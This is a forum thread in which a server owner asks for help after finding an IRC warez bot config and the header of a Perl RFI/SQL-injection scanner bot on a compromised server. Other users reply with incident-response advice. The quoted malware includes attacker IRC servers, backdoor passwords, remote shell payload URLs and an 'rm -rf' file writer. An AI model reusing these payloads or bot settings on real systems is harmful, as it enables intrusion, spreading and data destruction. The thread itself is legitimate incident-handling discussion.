My server is hacked, some IRC script...

mladja04 · 07-21-2008, 05:59 AM

Hello,

I have big problem. I have server at ThePlanet and in last several days (maybe weeks) I sometime see in bandwith graph that link of 10mb/s is 100% used, see http://img144.imageshack.us/img144/9...gimgphpvi3.png
Than I see in var/tmp and find some bad code, maybe script in which are some hacker email addresses and some IPs. In some file I see and some IRC script and on net find that script is for IRC download or some similary.

This is exampljeof one file

Quote:

pidfile .s
logfile .f
logstats no
logrotate weekly
statefile .lib.css
xdcclistfile .lib.css~

connectionmethod direct
server 72.20.54.69 9000
server 194.169.192.55 9000
server 71.6.216.111 9000
server 72.20.54.69 31967
server 72.20.54.69 27397
server 72.20.54.69 48618
server 72.20.54.69 55493
server 71.6.216.111 65267

channel #ADD!KT!VE -plist 29 -key iNSOMNiA
channel #ADD!KT-test -plist 60 -key PRiVATE

nickserv_pass thu64l1f3

user_nick [EU]-N3W
user_realname 14,1# 14,1ADD4!14KT4!14VE
user_modes +iB
loginname FAST
#usenatip 78.31.115.159

slotsmax 15
queuesize 30
maxtransfersperperson 2
maxqueueditemsperperson 3
respondtochannelxdcc
downloadhost *!*@*

#headline 8,1welcome to everyone

creditline 14,1ADD4!14KT4!14VE

adminpass zBOTEinWEdNwI
adminhost mdma!*@global-threat.us
adminhost elmer*!*@elmer.wabbits.us
adminhost CHR0NiC!*@addikt-help.us
adminhost CHRONiC!*@addikt-help.us
adminhost WEED!*@*.addikt-help.us

uploadhost *!*@dean*.EsylumWarez.Net
uploadhost *!*@bobby811.EsylumWarez.Net
uploadhost mdma!*@global-threat.us
uploadhost elmer*!*@elmer.wabbits.us
uploadhost CHR0NiC*!*@addikt-help.us
uploadhost CHRONiC*!*@addikt-help.us
uploadhost WEED!*@*.addikt-help.us
uploadhost [EU]*!*@*
uploadhost [US]*!*@*
uploadhost [DiSTRO]*!*@*
uploadhost [KR]*!*@*

uploaddir /var/tmp/.lib
filedir /var/tmp/.lib
notifytime 10
nomd5sum

Too and some other files, example begining of one:

Quote:

#!/usr/bin/perl

#####################################################################################
## ##
## ##
## 04/04/2008 ##
## Author : Osirys ##
## Team : Third Eye Security ##
## Ircd : 84.19.176.186 ##
## WebSite : ##
## Contact : osirys[at]live[dot]it ##
## ##
## ## IMPORTANT ## ##
## # ONLY FOR EDUCATIONAL PURPOSE. THE AUTHOR IS NOT RESPONSABLE OF ANY ##
## # IMPROPERLY USE OF THIS TOOL. USE IT AT YOUR OWN RISK !! ##
## # THIS TOOL HAS BEEN MADE TO HELP NET ADMINISTRATORS TO MAKE THEIR ##
## # SYSTEM MORE SECURE. ##
## ## ##
## ##
## Release: v5 Private ##
## I coded this tool only for fun , anyway it works well ! This is a Private ##
## Release, so if you have this Script, please, take care, and don't give it ##
## anyone ! Thank you. ##
## It's a IrcBot. So, after connecting on your Ircd, you can scan for RFI, ##
## LFI, SQL Injection on sites using dorks. ##
## Anyway, u may know, that this one is the better bot ever created ! ##
## Be happy !

##
## ##
## Features: ##
## [+]Sql Injection Scanner ##
## [+]Remote File Inclusion Scanner ##
## [+]Local File Inclusion Scanner ##
## [+]Integrated Shell, so you can execute commands on the server ##
## [+]Security Mode to protect "dangerous" functions ##
## [+]Spread Mode, to activate or disable Spread Function ##
## [+]Bypass Engines ON: Google, Yahoo ##
## !: To "bypass" these engines, the Scanner just looks for websites on other ##
## engines that use the same bots than the main ones ##
## ##
## ##
#####################################################################################

### !!_/ PRIVATE

use IO::Socket::INET;
use HTTP::Request;
use LWP::UserAgent;

#######################################################
## CONFIGURATION //
#######################################################

my $id = "http://rawcraft.info/spread.txt??"; #Your RFI Response
my $shell = "http://r99.li/r57.txt??"; #Shell printed on the Vulnerable Site
my $ircd = "irc.indoirc.net";
my $port = "6667";
my $chan1 = "#fntsze.biz"; #Chan for Scan
my $chan2 = ""; #bot will be printed here too
my $nick="fntsze[".int(rand(1000))."]"; # Scanner Nickname
my $sqlpidpr0c = 1; # This is the number of sites that the bot will test in the same time. For an accurated scann, it's reccomended to set a low number(1)
# (Expecially if you are scanning on 0day bugs), so a lot of presunted vulnerable sites. Unless you will see the bot exiting by an excess flood!
# Instead, if you are scaning on old bugs, so not many results, you can put a higher number, so more speed.
my $rfipidpr0c = 50;

### USEFULL OPTIONS ( 0 => OFF ; 1 => ON )

my $spread = "http://rawcraft.info/t.txt???";

my $spreadACT = 1; #0 ->disabled, 1 ->enabled
my $securityACT = 1; #0 ->disabled, 1 ->enabled

my $killpwd = "fuckoff"; #Password to Kill the Bot
my $chidpwd = "fuckoff"; #Password to change the RFI Response
my $cmdpwd = "fuckoff"; #Password to execute commands on the server
my $secpwd = "fuckoff";
my $spreadpwd = "fuckoff";

my $badspreadpwd != $spreadpwd;
my $badkillpwd != $killpwd;
my $badidpwd != $chidpwd;
my $badcmdpwd =! $cmdpwd;

#######################################################
## END OF CONFIGURATION //
#######################################################

open( $f1le, ">", "rm.txt" );
print $f1le "\#!/usr/bin/perl\n";
print $f1le "exec(\"rm -rf \*siti\*\")\;\n";
close $f1le;
etc...

Do anybody have experience with this, how I to clean my server?

Thank you very much, Mladen

pinniped · 07-21-2008, 07:22 AM

First you have to put your own tools onto the server - and they need to be set up so that they do not use any system tools or libraries. Basically, the safest thing are static-linked tools. You may also look at installing a 'rootkit' checking program; have it write a report and you can retrieve the report via 'scp' or something. The report will help you find out what nasties have been put on. Then you need to find out what software was compromised and allowed the lowlife to get into your system. The next step is to write a script to repair all that you can in 1 go - it needs to start out by shutting down all non-essential services; (of course ssh must continue to run - which could be difficult if it's a r00t version). You need a script to do it all (and using your 'clean' tools) or else the lowlife might actually be logged on at the time and see what you're doing. I guess somewhere in the 'var' directory will be a good place to hide; the lowlife might me monitoring for changes in the usual executable directories like /bin.

Looking at those scripts, I suspect your server is being used to serve up web pages that inject scripts - send someone an IM or an email with a "this is a funny link!" leading to your web page and their Outlook or MSN Messenger is instantly screwed.

ajithender · 07-21-2008, 08:29 AM

how you managed to get that stuff and all the information to identify the things

unSpawn · 07-21-2008, 08:41 AM

Quote:

Originally Posted by pinniped

First you have to

Actually the first thing to do is do nothing on the server. If you want to do something then the first step is to get acquainted with the Intruder Detection Checklist (CERT): http://www.cert.org/tech_tips/intrud...checklist.html.

Quote:

Originally Posted by pinniped

put your own tools onto the server

Here you're contradicting yourself with your installation instructions: see the argument you use at "You need a script to do it all". The next step would be gathering available information and that doesn't need installing anything right now: copy the system and daemon logs, login database, password files and full output of listing network connections, process information and open files off the box. Because the OP didn't provide all the necessary nfo, anything beyond that is unnecessary guesswork, speculation.

Quote:

Originally Posted by pinniped

write a script to repair all that you can

I'd also like to point out that at this stage the OP should never ever be confronted with "solutions", and especially not the idea that things are "repairable". IMNSHO that is bad practice: please do not offer that kind of "advice" again. If you want to know what my angle is try reading some incident handling threads in this forum and recaps like http://www.linuxquestions.org/questi...14#post2291514 and http://www.linuxquestions.org/questi...64#post3206764.

mladja04 · 07-22-2008, 07:18 AM

One friend tell me that is IRC BOT and that is run from perl.

No anything into error_log file, too nothing into access_log, but have logs into /var/tmp/.something in which are some attempts of login, but that attempts are ago 2-3-4 days, and problems still isnt solved. Now I rename all files from /tmp/var and add into iptables ports which use IRC (from 6667-6700) and reboot server, but still problem isnt solved. I run rkhunter but no infections founded.

How I to find which is that perl process and how to kill it, remove from my server?

unSpawn · 07-22-2008, 06:50 PM

Yes, the first is part of a DCC bot and the second a RFI (Remote File Inclusion) scanner. Looking at the other nfo you forgot to post here, that exploit code you found relates to this CVE vulnerability (yes, you read that right: 2006). What concerns me more is the fact you acknowledge you haven't been vigilant, you haven't been updating the machine, and you haven't secured the machine and then still think you don't have to learn from your mistakes and still could

Quote:

Originally Posted by mladja04

"hope that isnt very compromised and try to clean it on this way"

. Please stop thinking about still serving things. Web log, forum, CMS, games, whatever you run on the machine it isn't important anymore and whatever runs should be killed. If you think that's rough then ask ThePlanet right now to do a clean install and get it over with.

I suggest you do the following things:
- read post #4, the part about the CERT link, and act on it,
- copy system and daemon logs, login database, password files and a full output of listing network connections, process information and open files off the box,
- raise your firewall so only traffic from and to your management IP gets through,
- stop all services you don't need like Apache, MySQL, any perl or PHP processes but keep remote access like SSH open but only for your IP,
- run a RPM package verification on all packages and save the log off-site,
- investigate the logs you copied and copy details here. If it's too much tarball them up, upload to some free hoster and post the URI here.